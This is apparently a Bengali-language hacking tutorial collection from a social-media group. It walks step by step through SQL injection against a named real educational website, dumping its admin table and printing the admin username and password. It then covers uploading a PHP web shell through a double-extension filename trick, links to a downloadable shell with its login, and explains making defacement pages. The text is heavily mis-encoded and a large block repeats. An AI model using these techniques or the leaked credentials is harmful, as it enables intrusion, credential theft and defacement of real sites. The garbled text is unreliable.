Mystrious Tusin
wwwfacebookcomcyb3rc0d3
অফায ―Find Admin টযাচছফ কতিক করন
তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ
এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয
তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না
ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন
এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ
তাচছর অভযা Administration Panel সরাভ
এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন
মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade
সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা
তাচছর কথা না ফাকতযচছয শর ককতয
পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ
এয জনয অভযা dork use কযফ
inurlindexphpid= inurltrainersphpid=
inurlbuyphpcategory= inurlarticlephpID=
inurlplay_oldphpid= inurldeclaration_morephpdecl_id=
inurlPageid= inurlgamesphpid=
inurlpagephpfile= inurlnewsDetailphpid=
inurlgalleryphpid=
এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয
8500 SQL dorks list
httppastebincomdzknXjgP or
httppastebincomayV6tNS2
পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ
inurlnews-and-eventsphpid=
এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ
সমভন httpwwweastodissaacinnews-and-eventsphpid=22
ছকতফঃ
পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য
এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা
এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ
httpwwweastodissaacinnews-and-eventsphpid=22
মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable
সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the
right syntax to use near rdquorsquo at line 1Prime
ছকতফঃ
এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ
এখাচছন অভাচছদয বানবাফর াআট
httpwwweastodissaacinnews-and-eventsphpid=22
মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+
এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ
এখন 1 কতনচছয সদচছখন
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--
না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না
অফায 2 কতদচছয সচিা ককতয
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয
তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না
ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন
এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ
তাচছর অভযা Administration Panel সরাভ
এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন
মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade
সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা
তাচছর কথা না ফাকতযচছয শর ককতয
পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ
এয জনয অভযা dork use কযফ
inurlindexphpid= inurltrainersphpid=
inurlbuyphpcategory= inurlarticlephpID=
inurlplay_oldphpid= inurldeclaration_morephpdecl_id=
inurlPageid= inurlgamesphpid=
inurlpagephpfile= inurlnewsDetailphpid=
inurlgalleryphpid=
এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয
8500 SQL dorks list
httppastebincomdzknXjgP or
httppastebincomayV6tNS2
পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ
inurlnews-and-eventsphpid=
এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ
সমভন httpwwweastodissaacinnews-and-eventsphpid=22
ছকতফঃ
পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য
এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা
এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ
httpwwweastodissaacinnews-and-eventsphpid=22
মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable
সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the
right syntax to use near rdquorsquo at line 1Prime
ছকতফঃ
এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ
এখাচছন অভাচছদয বানবাফর াআট
httpwwweastodissaacinnews-and-eventsphpid=22
মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+
এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ
এখন 1 কতনচছয সদচছখন
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--
না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না
অফায 2 কতদচছয সচিা ককতয
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
